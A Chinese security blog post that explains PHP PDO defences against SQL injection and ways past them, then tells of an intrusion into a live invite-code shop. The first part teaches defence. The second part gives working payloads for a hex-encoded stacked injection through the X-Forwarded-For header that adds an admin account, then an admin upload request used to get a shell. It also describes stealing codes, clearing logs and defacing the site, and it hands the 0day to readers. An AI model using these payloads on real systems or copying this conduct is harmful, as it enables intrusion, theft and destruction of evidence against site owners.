作者:J0o1ey@M78安全團隊
原文鏈接:https://mp.weixin.qq.com/s/yB5Q12xXh_ZHj7KYPjgPfw

0x01 PDO簡介

PDO全名PHP Data Object

PDO擴展為PHP訪問數據庫定義了一個輕量級的一致接口。PDO提供了一個數據訪問抽象層,這意味著,不管使用哪種數據庫,都可以使用相同的函數(方法)來查詢和獲取數據。

PHP連接MySQL數據庫有三種方式(MySQL、Mysqli、PDO),列表性比較如下:

Mysqli PDO MySQL
引入的PHP版本 5.0 5.0 3.0之前
PHP5.x是否包含
服務端prepare語句的支持情況
客戶端prepare語句的支持情況
存儲過程支持情況
多語句執行支持情況 大多數

如需在php中使用pdo擴展,需要在php.ini文件中進行配置

0x02 PDO防范SQL注入

①調用方法轉義特殊字符

quote()方法(這種方法的原理跟addslashes差不多,都是轉義)

PDO類庫的quate()方法會將輸入字符串(如果需要)周圍加上引號,并在輸入字符串內轉義特殊字符。

EG①:

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Dangerous string */
$string = 'Naughty ' string';
print "Unquoted string: $stringn";
print "Quoted string:" . $conn->quote($string) . "n";
?>

輸出

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

EG②

test.sql

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user`  (
  `id` int(10) NOT NULL,
  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of user
-- ----------------------------
INSERT INTO `user` VALUES (0, 'admin', 'admin');
INSERT INTO `user` VALUES (1, 'user', 'user');

SET FOREIGN_KEY_CHECKS = 1;

pdo.php

<?php
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
     $username=$pdo->quote($username);
     $password=$pdo->quote($password);
    $sql="select * from user where username={$username} and password={$password}";
    echo $sql."</br>";
    $row=$pdo->query($sql);
    foreach ($row as $key => $value) {
        print_r($value);
    }

}catch(POOException $e){
    echo $e->getMessage();
}

訪問http://localhost/pdo.php?username=admin&password=admin

當我們使用單引號探測注入時

如圖,單引號已被反斜線轉義

預編譯語句

1、占位符-通過命名參數防止注入

通過命名參數防止注入的方法會使得程序在執行SQL語句時,將會把參數值當成一個字符串整體來進行處理,即使參數值中包含單引號,也會把單引號當成單引號字符,而不是字符串的起止符。這樣就在某種程度上消除了SQL注入攻擊的條件。

將原來的SQL查詢語句改為

Select * from where name=:username and password=:password

prepare方法進行SQL語句預編譯

最后通過調用rowCount()方法,查看返回受sql語句影響的行數

返回0語句執行失敗,大于等于1,則表示語句執行成功。

All code

<?php
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
    $sql='select * from user where name=:username and password=:password';
    $stmt=$pdo->prepare($sql);
    $stmt->execute(array(":username"=>$username,":password"=>$password));
    echo $stmt->rowCount();
}catch(PDOException $e){
    echo $e->getMessage();
}
?>

查詢成功

注入失敗

2、占位符-通過問號占位符防止注入

把SQL語句再進行修改

select * from user where name=? and password=?

同上,prepare方法進行SQL語句預編譯

最后調用rowCount()方法,查看返回受sql語句影響的行數

<?
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
    $sql="select * from user where username=? and password=?";
    $stmt=$pdo->prepare($sql);
    $stmt->execute(array($username,$password));
    echo $stmt->rowCount();

}catch(PDOException $e){
    echo $e->getMessage();
}
?>

效果同上

查詢成功

注入失敗

3.通過bindParam()方法綁定參數防御SQL注入

修改語句部分

$sql='select * from user where name=:username and password=:password';
    $stmt=$pdo->prepare($sql);
    $stmt->bindParam(":username",$username,PDO::PARAM_STR);
    $stmt->bindParam(":password",$password,PDO::PARAM_STR);

解釋: a)::username 和 :password為命名參數 b):password為獲取的變量,即用戶名和密碼。 c):PDO::PARAM_STR,表示參數變量的值一定要為字符串,即綁定參數類型為字符串。在bindparam()方法中,默認綁定的參數類型就是字符串。

? 當你要接受int型數據的時候可以綁定參數為PDO::PARAM_INT.

<?php
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GETT['password'];
try{
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
    $sql='select * from user where name=:username and password=:password';
    $stmt=$pdo->prepare($sql);
    $stmt->bindParam(":username",$username,PDO::PARAM_STR);
    $stmt->bindParam(":password",$password,PDO::PARAM_STR);
    $stmt->execute();
    echo $stmt->rowCount();

}catch(PDOException $e){
    echo $e->getMessage();
}
?>

效果同上

查詢成功

注入失敗

這只是總結了一部分PDO防范SQL注入的方法,仍有方法請見下文

其他手法還有很多,大家感興趣的話可以自行研究

0x03 PDO下的注入手法與思考

讀完前文后,讀者們可能不由感嘆,真狠啊,什么都tmd轉義,什么語句都預編譯了,這我tmd注入個毛...

北宋宰相王安石有言“看似尋常最奇崛,成如容易卻艱辛”

讓我們抽絲剝繭來探尋PDO下的注入手法

目前在PDO下,比較通用的手法主要有如下兩種

①寬字節注入

注入的原理就不講了,相信大家都知道

一張圖,清晰明了

當Mysql數據庫my.ini文件中設置編碼為gbk時,

我們的PHP程序哪怕使用了addslashes(),PDO::quote,mysql_real_escape_string()、mysql_escape_string()等函數、方法,或配置了magic_quotes_gpc=on,依然可以通過構造%df'的方法繞過轉義

②堆疊注入與報錯注入

PDO分為模擬預處理非模擬預處理

模擬預處理是防止某些數據庫不支持預處理而設置的,也是眾多注入的元兇

在初始化PDO驅動時,可以設置一項參數,PDO::ATTR_EMULATE_PREPARES,作用是打開模擬預處理(true)或者關閉(false),默認為true。

PDO內部會模擬參數綁定的過程,SQL語句是在最后execute()的時候才發送給數據庫執行。

非模擬預處理則是通過數據庫服務器來進行預處理動作,主要分為兩步:

第一步是prepare階段,發送SQL語句模板到數據庫服務器;

第二步通過execute()函數發送占位符參數給數據庫服務器執行。

PDO產生安全問題的主要設置如下:

? PDO::ATTR_EMULATE_PREPARES //模擬預處理(默認開啟)

? PDO::ATTR_ERRMODE //報錯

? PDO::MYSQL_ATTR_MULTI_STATEMENTS //允許多句執行(默認開啟)

PDO默認是允許多句執行和模擬預編譯的,在用戶輸入參數可控的情況下,會導致堆疊注入。

2.1 沒有過濾的堆疊注入情況

<?php
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
    $sql="select * from user where username='{$username}' and password='{$password}'";
    echo $sql."</br>";
    $row=$pdo->query($sql);
    foreach ($row as $key => $value) {
        print_r($value);
    }

}catch(POOException $e){
    echo $e->getMessage();
}

因為在sql進行非法操作,那PDO相當于沒用

如果想禁止多語句執行,可在創建PDO實例時將PDO::MYSQL_ATTR_MULTI_STATEMENTS設置為false

new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

但是哪怕禁止了多語句執行,也只是防范了堆疊注入而已,直接union即可

2.2 模擬預處理的情況

<?php
try {
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
    //$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
    $username = $_GET['username'];
    $sql = "select id,".$_GET['role']." from user where username = ?";
    $stmt = $pdo->prepare($sql);
    $stmt->bindParam(1,$username);
    $stmt->execute();
    while($row=$stmt->fetch(PDO::FETCH_ASSOC))
    {
        var_dump($row);
        echo "<br>";
    }
} catch (PDOException $e) {
    echo $e;
}

$role是可控的,導致可實現堆疊注入和in line query

2.3當設置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION開啟報錯時

設置方法

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

無論是否開啟PDO::ATTR_EMULATE_PREPARES-模擬預處理

此時SQL語句如果產生報錯,PDO則會將報錯拋出

除設置錯誤碼之外,PDO 還將拋出一個 PDOException 異常類并設置它的屬性來反射錯誤碼和錯誤信息。

此設置在調試期間也非常有用,因為它會有效地放大腳本中產生錯誤的點,從而可以非常快速地指出代碼中有問題的潛在區域

在這種情況下可以實現error-based SQL Injection

使用GTID_SUBSET函數進行報錯注入

http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin

2.4 非模擬預處理的情況

<?php
try {
    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
    $username = $_GET['username'];
    $sql = "select id,".$_GET['role']." from user where username = ?";
    $stmt = $pdo->prepare($sql);
    $stmt->bindParam(1,$username);
    $stmt->execute();
    while($row=$stmt->fetch(PDO::FETCH_ASSOC))
    {
        var_dump($row);
        echo "<br>";
    }
} catch (PDOException $e) {
    echo $e;
}

此時堆疊注入已經歇逼

但inline query,報錯注入依然堅挺可用

③一個安全的case

只要語句內存在有用戶非純字符可控部分,便不夠安全;那我們就用非模擬預處理sql寫法

$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 

它會告訴 PDO 禁用模擬預處理語句,并使用 real parepared statements 。

這可以確保SQL語句和相應的值在傳遞到mysql服務器之前是不會被PHP解析的(禁止了所有可能的惡意SQL注入攻擊)。

如下為一個安全使用PDO的case

$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');
$stmt->execute(array('id' => $id));
print_r($stmt -> fetchAll ());
exit();

當調用 prepare() 時,查詢語句已經發送給了數據庫服務器,此時只有占位符

發送過去,沒有用戶提交的數據;當調用到 execute()時,用戶提交過來的值才會傳送給數據庫,它們是分開傳送的,兩者獨立的,SQL注入攻擊者沒有一點機會

0x04 案例剖析-ThinkPHP5中PDO導致的一個雞肋注入(來自Phithon師傅)

我們來看Phithon師傅幾年前博客發的一個case

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}

如上述代碼,如果我們控制了in語句的值位置,即可通過傳入一個數組,來造成SQL注入漏洞。

文中已有分析,我就不多說了,但說一下為什么這是一個SQL注入漏洞。IN操作代碼如下:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 處理帶非單詞字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查詢
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

可見,$bindName在前邊進行了一次檢測,正常來說是不會出現漏洞的。但如果$value是一個數組的情況下,這里會遍歷$value,并將$k拼接進$bindName

也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL注入漏洞。那么,為什么原文中說測試SQL注入失敗呢?

這就是涉及到預編譯的執行過程了。通常,PDO預編譯執行過程分三步:

  1. prepare($SQL) 編譯SQL語句
  2. bindValue($param, $value) 將value綁定到param的位置上
  3. execute() 執行

這個漏洞實際上就是控制了第二步的$param變量,這個變量如果是一個SQL語句的話,那么在第二步的時候是會拋出錯誤的:

sp170704_025805.png

所以,這個錯誤“似乎”導致整個過程執行不到第三步,也就沒法進行注入了。

但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下代碼:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}

執行發現,雖然我只調用了prepare函數,但原SQL語句中的報錯已經成功執行:

sp170704_032524.png

究其原因,是因為我這里設置了PDO::ATTR_EMULATE_PREPARES => false

這個選項涉及到PDO的“預處理”機制:因為不是所有數據庫驅動都支持SQL預編譯,所以PDO存在“模擬預處理機制”。如果說開啟了模擬預處理,那么PDO內部會模擬參數綁定的過程,SQL語句是在最后execute()的時候才發送給數據庫執行;如果我這里設置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會模擬預處理,參數化綁定的整個過程都是和Mysql交互進行的。

非模擬預處理的情況下,參數化綁定過程分兩步:第一步是prepare階段,發送帶有占位符的sql語句到mysql服務器(parsing->resolution),第二步是多次發送占位符參數給mysql服務器進行執行(多次執行optimization->execution)。

這時,假設在第一步執行prepare($SQL)的時候我的SQL語句就出現錯誤了,那么就會直接由mysql那邊拋出異常,不會再執行第二步。我們看看ThinkPHP5的默認配置:

...
// PDO連接參數
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可見,這里的確設置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構造如下POC,即可利用報錯注入,獲取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

sp170704_021313.png

但是,如果你將user()改成一個子查詢語句,那么結果又會爆出Invalid parameter number: parameter was not defined的錯誤。

因為沒有過多研究,說一下我猜測:預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數據的 ,也就是說不會從表中將真實數據取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸數據,但類似user()這樣的數據庫函數的值還是將會編譯進SQL語句,所以這里執行并爆了出來。

0x05 實戰案例-從cl社區激活碼到Git 2000+ Star項目0day

5.1 起因

挖SRC,做項目做的心生煩悶,前幾日忍不住在家看1024(cl)社區,越看越來勁,邪火攻心,想搜片看

奈何cl社區一向奉行邀請制,邀請碼又很難搞到,可謂讓人十分不爽

于是本人去google上找了一個賣1024社區邀請碼的站

88塊錢....雖然不算貴,但售賣這種東西本來就是不受法律保護的。作為一個JB小子,怎么可能不動點白嫖心思?

在黑盒測試了一段時間后,發現支付邏輯和前臺都沒什么安全問題。。難道我真的要花錢買這激活碼????

不可能,絕對不可能。

看到網站底部有一個Powered by xxx,呵呵呵,好家伙,不出意外這應該就是這個站用的CMS系統了

去Git上一搜,還真有,2000多個Star,作者維護了好幾年,也算是個成熟的項目了。

直接把最新版源碼下載下來,丟進PHPstorm里開始審計

5.2 從審計思路到PDO導致的前臺XFF堆疊注入

就我個人而言,拿到一套源碼,我更喜歡黑白盒相結合;根據前臺能訪問到的功能點來確定自己審計的目標

簡單看了一下整套系統是MVC架構的,使用了PDO,使用有部分過濾規則;后臺默認路徑是/admin

看了一遍前臺的功能點,發現在查詢訂單處路徑名很有趣,帶有一個/query,直接搜一下頁面上關鍵詞,跟進入到源碼中

發現了如下的一段code

PDO均為默認配置,立馬想到了堆疊注入

經測試orderid用戶可控,全局搜索orderid發現,orderid經函數方法后被處理為純字符串,沒有注入余地,故選擇另辟蹊徑

后發現ip參數用戶同樣可控,在調用select方法前沒做任何處理。

ip參數調用的是getClientIP方法,我們跟一下getClientIP方法

很好理解,就是從常見的http header中獲取客戶端IP

但是非常高興,ip參數未做任何處理,我們可以通過構造XFF頭來實現堆疊注入

因為有csrf_token的校驗,我們必須在查詢訂單的頁面,隨便輸入個訂單號,隨后輸入正確的驗證碼,隨后查詢才有效

隨后手動構造XFF頭,進行針對PDO的堆疊注入

因為PDO處為雙引號進行語句閉合,且屬于無回顯的堆疊注入

故構造Payload為

X-FORWARDED-For:1';select sleep(5)#

延遲了5s,注入成功。

針對這種沒回顯的堆疊注入,盲注太慢,用Dnslog OOB又太慢,所以選擇構造一個添加后臺管理員的insert payload

X-FORWARDED-For:1“;insert into t_admin_user values(99,"test@test.test","76b1807fc1c914f15588520b0833fbc3","78e055",0);

但是現實是很殘酷的,測試發現,在XFF頭中,1"將語句閉合后只要出現了引號或者逗號,就會引發報錯,SQL語句無法執行

但是具有一定審計經驗的兄弟一定會想到,PDO下Prepare Statement給我們提供了繞過過濾進行注入的沃土

山重水復疑無路,柳暗花明又一村

5.3 Prepare Statement構造注入語句

知識補充 --- Prepare Statement寫法

MySQL官方將prepare、execute、deallocate統稱為PREPARE STATEMENT(預處理)

預制語句的SQL語法基于三個SQL語句:

prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;

給出MYSQL中兩個簡單的demo

set@a="select user()";PREPARE a FROM @a;execute a;select sleep(3);#
set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#  
//73656C65637420757365722829為select user() 16進制編碼后的字符串,前面再加上0x聲明這是一個16進制字符串

Prepare語句在防范SQL注入方面起到了非常大的作用,但是對于SQL注入攻擊卻也提供了新的手段。

Prepare語句最大的特點就是它可以將16進制串轉為語句字符串并執行。如果我們發現了一個存在堆疊注入的場景,但過濾非常嚴格,便可以使用prepare語句進行繞過。

將我們的insert語句直接hex編碼

構造注入語句

X-FORWARDED-For:1";set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#
//sleep用于判斷注入是否成功

延時3s,注入成功,成功添加了一個賬號為test@test.test,密碼為123456的后臺管理員

直接默認后臺路徑/admin登錄后臺

前臺提交一個cl社區邀請碼的訂單

后臺修改訂單狀態為確認付款

沒過一會,邀請碼直接到郵箱

以后可以搜片看了

5.4 不講武德被發現

在不講武德,連續薅了幾個邀請碼,發給朋友后

站長終于發現了

八嘎,既然發現了,那就干脆把你的站日下來吧,然后好好擦擦屁股,免得0day被這站長抓走

5.5 后臺Getshell審計(Thanks 17@M78sec)

經測試后臺的文件上傳處鑒權比較嚴格,沒法直接前臺getshell

但是后臺文件上傳處,沒有對文件擴展名進行任何過濾,只有一處前端js校驗,所以后臺getshell直接白給

文件上傳后不會返回上傳路徑,但上傳路徑和上傳文件的命名規則我們已經了如指掌

UPLOAD_PATH定義如下

define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');

CUR_DATE定義如下

define('CUR_DATE', date('Y-m-d'));

文件名

$filename=date("His");  //小時+分鐘+秒

以我現在21點05分鐘為例,輸出結果如下

以2021年5月26日的21點05分44秒為例

完整的文件路徑即為

http://www.xxx.com/res/upload/2021-05-26/210444.php

直接構造表單

<meta charset="utf-8">
<form action="http://xxx.top/Admin/products/imgurlajax" method="post" enctype="multipart/form-data">
    <label for="file">File:</label>
    <input type="file" name="file" id="file" />
    <input type="text" name="pid" id="pid" />  <--! pid記得自行修改為商品的id(后臺選擇商品抓包即可獲取)--></--!>
    <input type="submit" value="Upload" />
</form>

同時需要添加Referer: http://xxx.top/Admin/products/imgurl/?id=1,并修改下方的

否則會提示“請選擇商品id”

最后完整的上傳http request如下

POST http://xxx.top/Admin/products/imgurlajax HTTP/1.1
Host: xxxx
Content-Length: 291
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0eb
Origin: http://47.105.132.207
Referer: http://xxx.top/Admin/products/imgurl/?id=12
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaq
Connection: close

------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php
    phpinfo();
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="pid"

12
------WebKitFormBoundaryeSrhtSPGxub0H0eb--

直接上傳成功

隨后通過burpsuite Intruder來跑一下最后的秒數

畢竟秒數不能拿捏的那么精準

直接拿捏。

把web日志清理掉

然后給public index頁面加點樂子

傳統功夫,點到為止。

0x06 總結

本文主要介紹了通過PDO防范SQL注入的方法和PDO中的注入利用思路,并給大家帶來了一個0day實例

你會發現層層抽絲剝繭研究一個模塊,并將其中的姿勢應用于實戰中,是一件很美妙的事情。

相信師傅們是很容易定位到出現本0day的系統的,這個0day就算白送各位師傅的了,希望師傅們也早日成為1024社區會員

0x07 Refence:

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

https://blog.51cto.com/u_12332766/2137035

https://xz.aliyun.com/t/3950


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1636/